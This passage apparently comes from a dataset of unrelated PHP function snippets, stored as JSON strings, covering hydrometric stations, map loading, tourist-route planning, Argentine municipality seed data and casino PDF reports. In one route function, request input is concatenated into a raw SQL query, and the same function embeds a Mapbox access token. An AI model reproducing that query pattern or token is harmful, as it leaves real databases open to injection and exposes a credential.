$EstacionHidrometrica->setCorriente(filter_input(INPUT_GET, 'corriente'));\n $EstacionHidrometrica->setRegion_id(filter_input(INPUT_GET, 'id_reg_hidrologica'));\n $EstacionHidrometrica->setEstado_id(filter_input(INPUT_GET, 'estado_id'));\n $EstacionHidrometrica->setLatitud(filter_input(INPUT_GET, 'latitud'));\n $EstacionHidrometrica->setLongitud(filter_input(INPUT_GET, 'longitud'));\n if ($EstacionHidrometrica->Insert() != null) {\n echo 'OK';\n } else {\n echo 'Algo salío mal :(';\n }\n}", "function fnOMcreateMap( $OMapi, $OMdat, $OMico, $OMmap=\"*\", $OMgeo=\"*\", $OMpan=\"-\", $OMmll=\"-\", $OMfli=\"-\" )\n{\n\t$OMapi->createMAP();\n\n\tif ( !file_exists($OMdat.$OMmap.\".map\") && $OMmap!=\"*\" ) goto nomap;\n\tif ( $OMmap==\"*\" ) {\n\t\t$files = scandir( $OMdat );\n\t\tforeach ( $files as $key => $val ) {\n\t\t\tif ( substr($val,-4)==\".map\" ) {\n\t\t\t\tfnOMcreateMAPaddDATA( $OMapi, $OMdat, $OMico, $val, $OMgeo, $OMpan, $OMmll, $OMfli );\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfnOMcreateMAPaddDATA( $OMapi, $OMdat, $OMico, $OMmap.\".map\", $OMgeo, $OMpan, $OMmll, $OMfli );\n\t}\nnomap:\n\n\tif ( !file_exists($OMdat.$OMgeo.\".json\") && !file_exists($OMdat.$OMgeo.\".geojson\") && $OMgeo!=\"*\" ) goto nojson;\n\tif ( $OMgeo==\"*\" ) {\n\t\t$files = scandir( $OMdat );\n\t\tforeach ( $files as $key => $val ) {\n\t\t\tif ( substr($val,-5)==\".json\" OR substr($val,-8)==\".geojson\" ) {\n\t\t\t\t$OMapi->addGEOJSON( \"http://\".$_SERVER['SERVER_NAME'].\"/\".$OMdat.$val ); // addJSON\n\t\t\t}\n\t\t}\n\t} else {\n\t\t$OMapi->addGEOJSON( \"http://\".$_SERVER['SERVER_NAME'].\"/\".$OMdat.$OMgeo.\".json\" ); // INCLUDE .geojson\n\t}\nnojson:\n\n\tif ( !file_exists($OMdat.$OMgeo.\".xml\") && !file_exists($OMdat.$OMgeo.\".kml\") && $OMgeo!=\"*\" ) goto noxml;\n\tif ( $OMgeo==\"*\" ) {\n\t\t$files = scandir( $OMdat );\n\t\tforeach ( $files as $key => $val ) {\n\t\t\tif ( substr($val,-4)==\".xml\" OR substr($val,-4)==\".kml\" ) {\n\t\t\t\t$OMapi->addKML( \"http://\".$_SERVER['SERVER_NAME'].\"/\".$OMdat.$val ); // addXML\n\t\t\t}\n\t\t}\n\t} else {\n\t\t$OMapi->addKML( \"http://\".$_SERVER['SERVER_NAME'].\"/\".$OMdat.$OMgeo.\".kml\" ); // INCLUDE .xml\n\t}\nnoxml:\n\n//\t$OMapi->addCIRCLE();\n\n\t$OMapi->addLAYERS();\n\n//\t$OMapi->getEVENT();\n\n\t$OMapi->initMAP();\n}", "public function nuevap6()\n {\n $sitios=request('indice');\n $consult=DB::select('select poi.id_poi,poi.tiempoestancia,poi.nombre as pn,poi.coordenaday as cy,poi.coordenadax as cx,imagen as img,costo\n from poi where poi.id_poi in('.$sitios.')'\n );\n $mod=session('mod');\n $poi=explode(\",\",$sitios);\n $sum=0;\n $time=0;\n $poi_anterior;\n $poi_actual;\n $cd;\n $tiempo;\n $nombres;\n $costo=0;\n foreach ($consult as $key) {\n $cd[$key->id_poi]=$key->cy.','.$key->cx;\n $tiempo[$key->id_poi]=$key->tiempoestancia;\n $nombres[$key->id_poi]=array('nombre'=>$key->pn,'img'=>$key->img);\n $costo=$costo+(int)$key->costo;\n }\n $band=0;\n foreach ($poi as $key => $value) {\n\n if ($band==0) {\n $poi_anterior=$cd[$value];\n $band=1;\n }else{\n \n $poi_actual=$cd[$value];\n //El tiempo y las distancias son obtenidos enviando las coordenadas a la api de mapbos\n $data = file_get_contents('https://api.mapbox.com/optimized-trips/v1/mapbox/'.$mod.'/'.$poi_anterior.';'.$poi_actual.'?access_token=pk.eyJ1IjoidHVyaXN0cm91dGUiLCJhIjoiY2tuYjY3N2t4MDR5MjJ2cGhyYjFibGc1YSJ9.VhhVvZdDGKvZG75AhvHWsw', null, stream_context_create([\n 'http' => [\n 'header' => [\n 'Connection: close',],],]));\n $data=json_decode($data);\n \n $sum=$sum+(($data->trips[0]->distance)/1000); \n $time=$time+$tiempo[$value]+(round(($data->trips[0]->duration)/60));\n $poi_anterior=$cd[$value];\n\n } \n }\n // Se envian los datos de la ruta a la siguiente vista\n return view('guardarrp2')->with('time',$time)->with('total',$sum)->with('poi',$poi)->with('nombres',$nombres)->with('costo',$costo);\n\n }", "function getRelaciones() {\n //arreglo relacion de tablas\n //---------------------------->DEPARTAMENTO(OPERADOR)\n $relacion_tablas['departamento']['ope_id']['tabla'] = 'operador';\n $relacion_tablas['departamento']['ope_id']['campo'] = 'ope_id';\n $relacion_tablas['departamento']['ope_id']['remplazo'] = 'ope_nombre';\n //---------------------------->DEPARTAMENTO(OPERADOR)\n //---------------------------->DEPARTAMENTO(REGION)\n $relacion_tablas['departamento']['der_id']['tabla'] = 'departamento_region';\n $relacion_tablas['departamento']['der_id']['campo'] = 'der_id';\n $relacion_tablas['departamento']['der_id']['remplazo'] = 'der_nombre';\n //---------------------------->DEPARTAMENTO(REGION)\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\n $relacion_tablas['municipio']['dep_id']['tabla'] = 'departamento';\n $relacion_tablas['municipio']['dep_id']['campo'] = 'dep_id';\n $relacion_tablas['municipio']['dep_id']['remplazo'] = 'dep_nombre';\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\n //---------------------------->CIUDAD\n $relacion_tablas['ciudad']['Id_Pais']['tabla'] = 'pais';\n $relacion_tablas['ciudad']['Id_Pais']['campo'] = 'Id_Pais';\n $relacion_tablas['ciudad']['Id_Pais']['remplazo'] = 'Nombre_Pais';\n //---------------------------->CIUDAD\n //---------------------------->CUENTAS\n $relacion_tablas['cuentas_financiero']['cft_id']['tabla'] = 'cuentas_financiero_tipo';\n $relacion_tablas['cuentas_financiero']['cft_id']['campo'] = 'cft_id';\n $relacion_tablas['cuentas_financiero']['cft_id']['remplazo'] = 'cft_nombre';\n //---------------------------->CUENTAS\n //---------------------------->CUENTAS UT\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['tabla'] = 'cuentas_financiero_tipo';\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['campo'] = 'cft_id';\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['remplazo'] = 'cft_nombre';\n //---------------------------->CUENTAS UT\n //---------------------------->MOVIMIENTOS\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['tabla'] = 'extractos_movimiento_tipo';\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['campo'] = 'mov_tipo_id';\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['remplazo'] = 'mov_tipo_desc';\n //---------------------------->MOVIMIENTOS\n //---------------------------->CENTROS POBLADOS\n $relacion_tablas['centropoblado']['mun_id']['tabla'] = 'municipio';\n $relacion_tablas['centropoblado']['mun_id']['campo'] = 'mun_id';\n $relacion_tablas['centropoblado']['mun_id']['remplazo'] = 'mun_nombre';\n //---------------------------->CENTROS POBLADOS\n //---------------------------->TIPO HALLAZGO\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['tabla'] = 'areashallazgospendientes';\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['campo'] = 'idAreaHallazgo';\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['remplazo'] = 'descripcion';\n //---------------------------->TIPO HALLAZGO\n\n return $relacion_tablas;\n }", "public function crearMunicipios()\n {\n\n/**\n * Database `encuesta`\n */\n\n/* `encuesta`.`municipios` */\n$municipios = array(\n array('id' => '1','nombre' => 'Tres de Abril','url' => 'http://www.corrientesintensa.com/destino/tres-de-abril/','logo' => 'images/municipios/tres-de-abril.jpg','microrregion_id' => '4','indec_id' => '0','indec_nombre' => NULL,'departamento_id' => NULL),\n array('id' => '2','nombre' => '9 de Julio','url' => 'http://www.corrientes.gov.ar/home/9-de-julio/municipio','logo' => 'images/municipios/9_de_julio.png','microrregion_id' => '4','indec_id' => '0399','indec_nombre' => '9 de Julio (Est. Pueblo 9 de Julio)','departamento_id' => '161'),\n array('id' => '3','nombre' => 'Alvear','url' => '','logo' => 'images/municipios/alvear.jpg','microrregion_id' => '2','indec_id' => '0098','indec_nombre' => 'Alvear','departamento_id' => '056'),\n array('id' => '4','nombre' => 'Bella Vista','url' => 'http://www.bellavista.gob.ar/','logo' => 'images/municipios/bellavista.png','microrregion_id' => '4','indec_id' => '0007','indec_nombre' => 'Bella Vista','departamento_id' => '007'),\n array('id' => '5','nombre' => 'Berón de Astrada','url' => '','logo' => 'images/municipios/escudo-beron-de-estrada.png','microrregion_id' => '6','indec_id' => '0014','indec_nombre' => 'Berón de Astrada','departamento_id' => '014'),\n array('id' => '6','nombre' => 'Bonpland','url' => 'https://www.corrientes.gov.ar/home/bonpland/municipio','logo' => 'images/municipios/bonpland.png','microrregion_id' => '3','indec_id' => '0280','indec_nombre' => 'Bonpland','departamento_id' => '119'),\n array('id' => '7','nombre' => 'Caá Catí','url' => '','logo' => 'images/municipios/caa_cati.png','microrregion_id' => '6','indec_id' => '0112','indec_nombre' => 'Nuestra Señora del Rosario de Caá Catí ','departamento_id' => '063'),\n array('id' => '8','nombre' => 'Colonia Carlos Pellegrini','url' => 'http://www.corrientes.gov.ar/home/colonia-carlos-pellegrini/municipio','logo' => 'images/municipios/cnia-carlos pellegrini.png','microrregion_id' => '2','indec_id' => '0357','indec_nombre' => 'Colonia Carlos Pellegrini','departamento_id' => '147'),\n array('id' => '9','nombre' => 'Colonia Carolina','url' => '','logo' => 'images/municipios/carolina.png','microrregion_id' => '4','indec_id' => '0137','indec_nombre' => 'Colonia Carolina','departamento_id' => '070'),\n array('id' => '10','nombre' => 'Chavarría','url' => 'http://www.corrientes.gov.ar/home/chavarria/municipio','logo' => 'images/municipios/chavarria.jpg','microrregion_id' => '4','indec_id' => '0413','indec_nombre' => 'Chavarría','departamento_id' => '161'),\n array('id' => '11','nombre' => 'Colonia Libertad','url' => 'http://www.corrientes.gov.ar/home/colonia-libertad/municipio','logo' => 'images/municipios/colonia-libertad.jpg','microrregion_id' => '3','indec_id' => '0252','indec_nombre' => 'Colonia Libertad','departamento_id' => '112'),\n array('id' => '12','nombre' => 'Colonia Liebig','url' => 'https://www.corrientes.gov.ar/home/colonia-liebig/municipio','logo' => 'images/municipios/colonia_liebig.png','microrregion_id' => '2','indec_id' => '0161','indec_nombre' => 'Colonia Liebigs','departamento_id' => '084'),\n array('id' => '13','nombre' => 'Colonia Pando','url' => 'http://www.corrientes.gov.ar/home/colonia-pando/municipio','logo' => 'images/municipios/pando.jpg','microrregion_id' => '4','indec_id' => '0417','indec_nombre' => 'Colonia Pando','departamento_id' => '161'),\n array('id' => '14','nombre' => 'Concepción','url' => '','logo' => 'images/municipios/escudo-concepcion.png','microrregion_id' => '5','indec_id' => '0042','indec_nombre' => 'Concepción','departamento_id' => '028'),\n array('id' => '15','nombre' => 'Corrientes','url' => 'http://ciudaddecorrientes.gov.ar/','logo' => 'images/municipios/capital.png','microrregion_id' => '1','indec_id' => '0021','indec_nombre' => 'Corrientes','departamento_id' => '021'),\n array('id' => '16','nombre' => 'Cruz de los Milagros','url' => '','logo' => 'images/municipios/cruz_de_los_milagros.png','microrregion_id' => '4','indec_id' => '0189','indec_nombre' => 'Cruz de los Milagros','departamento_id' => '091'),\n array('id' => '17','nombre' => 'Curuzú Cuatiá','url' => '','logo' => 'images/municipios/curuzu_cuatia.png','microrregion_id' => '3','indec_id' => '0056','indec_nombre' => 'Curuzú Cuatiá','departamento_id' => '035'),\n array('id' => '18','nombre' => 'Empedrado','url' => '','logo' => 'images/municipios/empedrado.png','microrregion_id' => '5','indec_id' => '0077','indec_nombre' => 'Empedrado','departamento_id' => '042'),\n array('id' => '19','nombre' => 'Esquina','url' => 'http://www.esquinacorrientes.gob.ar/','logo' => 'images/municipios/esquina.jpg','microrregion_id' => '4','indec_id' => '0084','indec_nombre' => 'Esquina','departamento_id' => '049'),\n array('id' => '20','nombre' => 'Estación Torrent','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '2','indec_id' => '0105','indec_nombre' => 'Estación Torrent','departamento_id' => '056'),\n array('id' => '21','nombre' => 'Felipe Yofre','url' => 'https://www.corrientes.gov.ar/home/felipe-yofre/municipio','logo' => 'images/municipios/felipe-yofre.jpg','microrregion_id' => '3','indec_id' => '0231','indec_nombre' => 'Felipe Yofré','departamento_id' => '105'),\n array('id' => '22','nombre' => 'Garabí','url' => 'https://es.wikipedia.org/wiki/Garab%C3%AD_(Corrientes)','logo' => 'images/municipios/garabi.jpg','microrregion_id' => '2','indec_id' => '0441','indec_nombre' => 'José Rafael Gómez (Garabí)','departamento_id' => '168'),\n array('id' => '23','nombre' => 'Garruchos','url' => 'https://www.corrientes.gov.ar/home/garruchos/municipio','logo' => 'images/municipios/garrucho.bmp','microrregion_id' => '2','indec_id' => '0427','indec_nombre' => 'Garruchos','departamento_id' => '168'),\n array('id' => '24','nombre' => 'Gobernador Martinez','url' => '','logo' => 'images/municipios/gobernador_martinez.png','microrregion_id' => '4','indec_id' => '0196','indec_nombre' => 'Gobernador Juan E. Martínez','departamento_id' => '091'),\n array('id' => '25','nombre' => 'Gobernador V. Virasoro','url' => 'http://www.virasoro.gob.ar/','logo' => 'images/municipios/virasoro.jpg','microrregion_id' => '2','indec_id' => '0434','indec_nombre' => 'Gobernador Igr. Valentín Virasoro ','departamento_id' => '168'),\n array('id' => '26','nombre' => 'Goya','url' => '','logo' => 'images/municipios/goya.png','microrregion_id' => '4','indec_id' => '0140','indec_nombre' => 'Goya','departamento_id' => '070'),\n array('id' => '27','nombre' => 'Guaviraví','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '2','indec_id' => '0364','indec_nombre' => 'Guaviraví','departamento_id' => '147'),\n array('id' => '28','nombre' => 'Herliztka','url' => '','logo' => 'images/municipios/escudo-herliztka.png','microrregion_id' => '6','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '29','nombre' => 'Ita Ibaté','url' => 'http://www.corrientes.gov.ar/home/ita-ibate/municipio','logo' => 'images/municipios/itaibate.jpg','microrregion_id' => '6','indec_id' => '0119','indec_nombre' => 'Itá Ibaté','departamento_id' => '063'),\n array('id' => '30','nombre' => 'Itatí','url' => '','logo' => 'images/municipios/escudo-itati.png','microrregion_id' => '6','indec_id' => '0147','indec_nombre' => 'Itatí','departamento_id' => '077'),\n array('id' => '31','nombre' => 'Ituzaingó','url' => '','logo' => 'images/municipios/ituzaingo.jpg','microrregion_id' => '2','indec_id' => '0168','indec_nombre' => 'Ituzaingó','departamento_id' => '084'),\n array('id' => '32','nombre' => 'José Rafael Gomez','url' => '','logo' => 'images/municipios/escudo-jose-r-gomez.png','microrregion_id' => '2','indec_id' => '0441','indec_nombre' => 'José Rafael Gómez (Garabí)','departamento_id' => '168'),\n array('id' => '33','nombre' => 'Juan Pujol','url' => '','logo' => 'images/municipios/escudo-juan-pujol.png','microrregion_id' => '3','indec_id' => '0259','indec_nombre' => 'Juan Pujol','departamento_id' => '112'),\n array('id' => '34','nombre' => 'La Cruz','url' => 'http://www.lacruz.gov.ar/','logo' => 'images/municipios/la-cruz.png','microrregion_id' => '2','indec_id' => '0371','indec_nombre' => 'La Cruz','departamento_id' => '147'),\n array('id' => '35','nombre' => 'San Isidro','url' => '','logo' => 'images/municipios/escudo-san-isidro.png','microrregion_id' => '4','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '36','nombre' => 'Lomas de Vallejos','url' => 'http://www.corrientes.gov.ar/home/lomas-de-vallejos/municipio','logo' => 'images/municipios/loma-de-vallejos.jpg','microrregion_id' => '6','indec_id' => '0126','indec_nombre' => 'Lomas de Vallejos','departamento_id' => '063'),\n array('id' => '37','nombre' => 'Loreto','url' => 'https://www.corrientes.gov.ar/home/loreto/municipio','logo' => 'images/municipios/loreto.jpg','microrregion_id' => '5','indec_id' => '0385','indec_nombre' => 'Loreto','departamento_id' => '154'),\n array('id' => '38','nombre' => 'Mariano I. Loza','url' => 'http://www.corrientes.gov.ar/home/mariano-i-loza/municipio','logo' => 'images/municipios/mariano-loza.jpg','microrregion_id' => '3','indec_id' => '0238','indec_nombre' => 'Mariano I. Loza (Est. Justino Solari)','departamento_id' => '105'),\n array('id' => '39','nombre' => 'Mburucuyá','url' => 'http://www.corrientes.gov.ar/home/mburucuya/municipio','logo' => 'images/municipios/mburucuya.jpg','microrregion_id' => '5','indec_id' => '0224','indec_nombre' => 'Mburucuyá','departamento_id' => '098'),\n array('id' => '40','nombre' => 'Mercedes','url' => '','logo' => 'images/municipios/mercedes.png','microrregion_id' => '3','indec_id' => '0245','indec_nombre' => 'Mercedes','departamento_id' => '105'),\n array('id' => '41','nombre' => 'Mocoretá','url' => 'http://www.corrientes.gov.ar/home/mocoreta/municipio','logo' => 'images/municipios/mocoreta.JPG','microrregion_id' => '3','indec_id' => '0266','indec_nombre' => 'Mocoretá','departamento_id' => '112'),\n array('id' => '42','nombre' => 'Monte Caseros','url' => 'http://www.corrientes.gov.ar/home/monte-caseros/municipio','logo' => 'images/municipios/monte-caseros.gif','microrregion_id' => '3','indec_id' => '0273','indec_nombre' => 'Monte Caseros','departamento_id' => '112'),\n array('id' => '43','nombre' => 'Pago de los Deseos','url' => '','logo' => 'images/municipios/escudo-pago-de-los-deseos.png','microrregion_id' => '5','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '44','nombre' => 'Palmar Grande','url' => '','logo' => 'images/municipios/escudo-palmar-grande.png','microrregion_id' => '6','indec_id' => '0133','indec_nombre' => 'Palmar Grande','departamento_id' => '063'),\n array('id' => '45','nombre' => 'Parada Pucheta','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '3','indec_id' => '0287','indec_nombre' => 'Parada Pucheta','departamento_id' => '119'),\n array('id' => '46','nombre' => 'Paso de la Patria','url' => '','logo' => 'images/municipios/escudo-paso-de-la-patria.png','microrregion_id' => '6','indec_id' => '0322','indec_nombre' => 'Paso de la Patria','departamento_id' => '133'),\n array('id' => '47','nombre' => 'Paso de los Libres','url' => 'http://pasodeloslibres.gob.ar/','logo' => 'images/municipios/paso-de-los-libres.jpg','microrregion_id' => '3','indec_id' => '0294','indec_nombre' => 'Paso de los Libres','departamento_id' => '119'),\n array('id' => '48','nombre' => 'Pedro R. Fernandez','url' => '','logo' => 'images/municipios/escudo-pedro-r-Fernandez.png','microrregion_id' => '4','indec_id' => '0406','indec_nombre' => 'Pedro R. Fernández (Est. Manuel F. Mantilla)','departamento_id' => '161'),\n array('id' => '49','nombre' => 'Perugorria','url' => 'http://www.corrientes.gov.ar/home/perugorria/municipio','logo' => 'images/municipios/perugorria.gif','microrregion_id' => '3','indec_id' => '0070','indec_nombre' => 'Perugorría','departamento_id' => '035'),\n array('id' => '50','nombre' => 'Pueblo Libertador','url' => '','logo' => 'images/municipios/escudo-libertador.png','microrregion_id' => '4','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '51','nombre' => 'Lavalle','url' => 'http://www.corrientes.gov.ar/home/lavalle/municipio','logo' => 'images/municipios/lavalle.jpg','microrregion_id' => '4','indec_id' => '0203','indec_nombre' => 'Lavalle','departamento_id' => '091'),\n array('id' => '52','nombre' => 'Ramada Paso','url' => '','logo' => 'images/municipios/escudo-ramada-paso.png','microrregion_id' => '6','indec_id' => '0154','indec_nombre' => 'Ramada Paso','departamento_id' => '077'),\n array('id' => '53','nombre' => 'Riachuelo','url' => 'http://www.municipioriachuelo.gov.ar/','logo' => 'images/municipios/riachuelo.jpg','microrregion_id' => '1','indec_id' => '0028','indec_nombre' => 'Riachuelo','departamento_id' => '021'),\n array('id' => '54','nombre' => 'Saladas','url' => '','logo' => 'images/municipios/escudo-saladas.png','microrregion_id' => '5','indec_id' => '0308','indec_nombre' => 'Saladas','departamento_id' => '126'),\n array('id' => '55','nombre' => 'San Antonio de Apipe','url' => 'http://www.corrientes.gov.ar/home/san-antonio/municipio','logo' => 'images/municipios/san-antonio-de-apipe.png','microrregion_id' => '2','indec_id' => '0175','indec_nombre' => 'San Antonio','departamento_id' => '084'),\n array('id' => '56','nombre' => 'San Carlos','url' => '','logo' => 'images/municipios/escudo-san-carlos.png','microrregion_id' => '2','indec_id' => '0182','indec_nombre' => 'San Carlos','departamento_id' => '084'),\n array('id' => '58','nombre' => 'San Cosme','url' => 'https://www.corrientes.gov.ar/home/san-cosme/municipio','logo' => 'images/municipios/sancosme-escudo.gif','microrregion_id' => '6','indec_id' => '0329','indec_nombre' => 'San Cosme','departamento_id' => '133'),\n array('id' => '59','nombre' => 'San Lorenzo','url' => 'http://www.corrientes.gov.ar/home/san-lorenzo/municipio','logo' => 'images/municipios/sanlorenzo.png','microrregion_id' => '5','indec_id' => '0315','indec_nombre' => 'San Lorenzo','departamento_id' => '126'),\n array('id' => '60','nombre' => 'San Luis del Palmar','url' => '','logo' => 'images/municipios/sanluisdelpalmar.png','microrregion_id' => '6','indec_id' => '0350','indec_nombre' => 'San Luis del Palmar','departamento_id' => '140'),\n array('id' => '61','nombre' => 'San Miguel','url' => 'https://www.corrientes.gov.ar/home/san-miguel/municipio','logo' => 'images/municipios/San-Miguel.jpg','microrregion_id' => '5','indec_id' => '0392','indec_nombre' => 'San Miguel','departamento_id' => '154'),\n array('id' => '62','nombre' => 'San Roque','url' => 'http://www.sanroquemunicipio.gob.ar/','logo' => 'images/municipios/san-roque.jpg','microrregion_id' => '4','indec_id' => '0420','indec_nombre' => 'San Roque','departamento_id' => '161'),\n array('id' => '63','nombre' => 'Santa Ana de los Guacaras','url' => 'http://www.santaanadelosguacaras.com/','logo' => 'images/municipios/santa-ana-escudo.png','microrregion_id' => '6','indec_id' => '0336','indec_nombre' => 'Santa Ana','departamento_id' => '133'),\n array('id' => '64','nombre' => 'Santa Lucía','url' => '','logo' => 'images/municipios/santa_lucia.png','microrregion_id' => '4','indec_id' => '0210','indec_nombre' => 'Santa Lucía','departamento_id' => '091'),\n array('id' => '65','nombre' => 'Colonia Santa Rosa','url' => 'http://www.corrientes.gov.ar/home/colonia-santa-rosa/municipio','logo' => 'images/municipios/santa-rosa.jpg','microrregion_id' => '5','indec_id' => '0035','indec_nombre' => 'Santa Rosa','departamento_id' => '028'),\n array('id' => '66','nombre' => 'Santo Tome','url' => 'http://municipalidadstome.com.ar/','logo' => 'images/municipios/santo_tome.jpg','microrregion_id' => '2','indec_id' => '0448','indec_nombre' => 'Santo Tomé','departamento_id' => '168'),\n array('id' => '67','nombre' => 'Sauce','url' => 'http://www.corrientes.gov.ar/home/sauce/municipio','logo' => 'images/municipios/sauce.jpg','microrregion_id' => '3','indec_id' => '0455','indec_nombre' => 'Sauce','departamento_id' => '175'),\n array('id' => '68','nombre' => 'Tabay','url' => '','logo' => 'images/municipios/escudo-tabay.png','microrregion_id' => '5','indec_id' => '0049','indec_nombre' => 'Tabay','departamento_id' => '028'),\n array('id' => '69','nombre' => 'Tapebicuá','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '3','indec_id' => '0301','indec_nombre' => 'Tapebicuá','departamento_id' => '119'),\n array('id' => '70','nombre' => 'Tatacua','url' => 'https://www.corrientes.gov.ar/home/tatacua/municipio','logo' => 'images/municipios/tatacua.jpg','microrregion_id' => '5','indec_id' => '0','indec_nombre' => 'nan','departamento_id' => NULL),\n array('id' => '71','nombre' => 'Villa Olivari','url' => '','logo' => 'images/municipios/municipio.jpg','microrregion_id' => '2','indec_id' => '0186','indec_nombre' => 'Villa Olivari','departamento_id' => '084'),\n array('id' => '72','nombre' => 'Yapeyú','url' => 'https://www.corrientes.gov.ar/home/yapeyu/municipio','logo' => 'images/municipios/yapeyu.jpg','microrregion_id' => '2','indec_id' => '0378','indec_nombre' => 'Yapeyú','departamento_id' => '147'),\n array('id' => '73','nombre' => 'Yatayti Calle','url' => 'http://www.corrientes.gov.ar/home/yatayti-calle/municipio','logo' => 'images/municipios/yatayti_calle.jpg','microrregion_id' => '4','indec_id' => '0217','indec_nombre' => 'Yatayti Calle','departamento_id' => NULL),\n array('id' => '75','nombre' => 'El Sombrero','url' => 'http://elsombrero.corrientes.gob.ar/','logo' => 'images/municipios/sombrero.jpg','microrregion_id' => '5','indec_id' => '0','indec_nombre' => 'El Sombrero','departamento_id' => '042')\n);\n\n\n foreach ($municipios as $key => $value)\n {\n $m = new Municipio();\n $m->construct($value);\n }\n\n\n\n\n }", "public function nuevap7()\n {\n $ruta=request('poi');\n $time=request('time');\n $cost=request('costo');\n $nombre=request('name');\n $distance=request('distance');\n $mod=session('mod');\n $moda;\n if ($mod=='driving') {\n $moda=0;\n }else if($mod=='walking'){\n $moda=1;\n }else if ($mod=='cycling') {\n $moda=2;\n }\n $point=[];\n $consult=DB::table('ruta')\n ->select(DB::raw('MAX(id_ruta) as id'))\n ->where('fk_id_turista',session('id'))\n ->get();\n if ($consult) {\n$consult2=DB::table('ruta')->insert([\n 'id_ruta' => ((int)$consult[0]->id)+1,\n 'nombre' => $nombre,\n 'fk_id_turista'=>'1',\n 'estado'=> true,\n 'tiempo'=>$time,\n 'hora'=>0,\n 'minutos' =>0,\n 'segundos'=>0,\n 'costo'=>$cost,\n 'distancia'=>$distance,\n 'modalidad'=>$moda]\n );\n for ($i=0; $i <count($ruta) ; $i++) {\n $consult3=DB::table('poi_ruta')->insert([\n 'fk_id_poi' =>$ruta[$i],'fk_id_ruta'=>((int)$consult[0]->id)+1,'estado'=>'true','orden'=>$i+1\n]);\n }\n\nif ($consult3) {\n return '1';\n}\n }\n \n }", "function d3jspie_generateur_autoriser(){}", "public function crearPlanillaLayoutParcial($layout_parcial){\n $rel= new \\stdClass();\n $rel->nro_relevamiento = $layout_parcial->nro_layout_parcial;\n $rel->casinoCod = $layout_parcial->sector->casino->codigo;\n $rel->casinoNom = $layout_parcial->sector->casino->nombre;\n $rel->sector = $layout_parcial->sector->descripcion;\n $rel->fecha = $layout_parcial->fecha;\n $rel->fecha_ejecucion = ($layout_parcial->fecha_ejecucion != null) ? $layout_parcial->fecha_ejecucion : $layout_parcial->fecha;\n $rel->fecha_generacion = $layout_parcial->fecha_generacion;\n\n $año = substr($rel->fecha,0,4);\n $mes = substr($rel->fecha,5,2);\n $dia = substr($rel->fecha,8,2);\n $rel->fecha = $dia.\"-\".$mes.\"-\".$año;\n\n $añoG = substr($rel->fecha_generacion,0,4);\n $mesG = substr($rel->fecha_generacion,5,2);\n $diaG = substr($rel->fecha_generacion,8,2);\n //$horaG = substr($rel->fecha_generacion,11,2).\":\".substr($rel->fecha_generacion,14,2).\":\".substr($rel->fecha_generacion,17,2);;\n $rel->fecha_generacion = $diaG.\"-\".$mesG.\"-\".$añoG;//.\" \".$horaG;\n\n $detalles = array();\n $progresivos = array();\n\n foreach($layout_parcial->detalles as $detalle){\n $det = new \\stdClass();\n $det->nro_admin = $detalle->maquina->nro_admin;\n $det->isla = $detalle->maquina->isla->nro_isla;\n $det->marca = $detalle->maquina->marca;\n $det->nro_serie = $detalle->maquina->nro_serie;\n \n if($detalle->maquina->id_pack!=null){\n $pack=PackJuego::find($detalle->maquina->id_pack);\n $juego_activo=$detalle->maquina->juego_activo;\n $prefijo=$pack->prefijo;\n $nombre_juego_activo= $detalle->maquina->juego_activo->nombre_juego;\n $juego_activo->nombre_juego= \"Paquete-Juegos: \" . $pack->identificador; \n }else{\n $juego_activo=$detalle->maquina->juego_activo;\n }\n $det->juego =$juego_activo;\n $det->denominacion = $detalle->denominacion;//vacio al momento de carga\n $det->porcentaje_devolucion = $detalle->porcentaje_devolucion;//vacio al momento de carga\n $det->diferencias = $detalle->campos_con_diferencia;\n $progresivo = $this->obtenerProgresivoFormateado($detalle->maquina);//retorna progresivo y sus niveles, formato para planilla\n $progresivo != null ? $progresivos[] = $progresivo : null;\n $detalles[] = $det;\n };\n\n $view = View::make('planillaLayoutParcialEdit', compact('detalles','rel','progresivos'));\n $dompdf = new Dompdf();\n $dompdf->set_paper('A4', 'portrait');\n $dompdf->loadHtml($view->render());\n $dompdf->render();\n $font = $dompdf->getFontMetrics()->get_font(\"helvetica\", \"regular\");\n $dompdf->getCanvas()->page_text(20, 815, (($rel->nro_relevamiento != null) ? $rel->nro_relevamiento : \"AUX\").\"/\".$rel->casinoCod.\"/\".$rel->sector.\"/\".$rel->fecha, $font, 10, array(0,0,0));\n $dompdf->getCanvas()->page_text(515, 815, \"Página {PAGE_NUM} de {PAGE_COUNT}\", $font, 10, array(0,0,0));\n return $dompdf;\n\n }", "public function ajoute_groupe_data($nom, $proprietes, $fullpathname) {\n\t\tif (isset ( $proprietes [\"_externalId\"] )) {\n\t\t\t$externalId = $proprietes [\"_externalId\"];\n\t\t} else {\n\t\t\t$externalId = 0;\n\t\t}\n\t\t\n\t\tif ($fullpathname == \"SiteScopeRoot\") {\n\t\t\t$this->setOneGroupeNumber ( $nom, $externalId );\n\t\t\t$full_path = $nom;\n\t\t} else {\n\t\t\t$this->setOneGroupeNumber ( $fullpathname . $this->full_path_separator . $nom, $externalId );\n\t\t\t$full_path = $fullpathname . $this->full_path_separator . $nom;\n\t\t}\n\t\t\n\t\t// Ajout du groupe a la liste\n\t\t$groupe_data = $proprietes;\n\t\t$groupe_data [\"id\"] = $this->getGroupeNumber ( $full_path );\n\t\t$groupe_data [\"fullpathname\"] = $full_path;\n\t\t$groupe_data 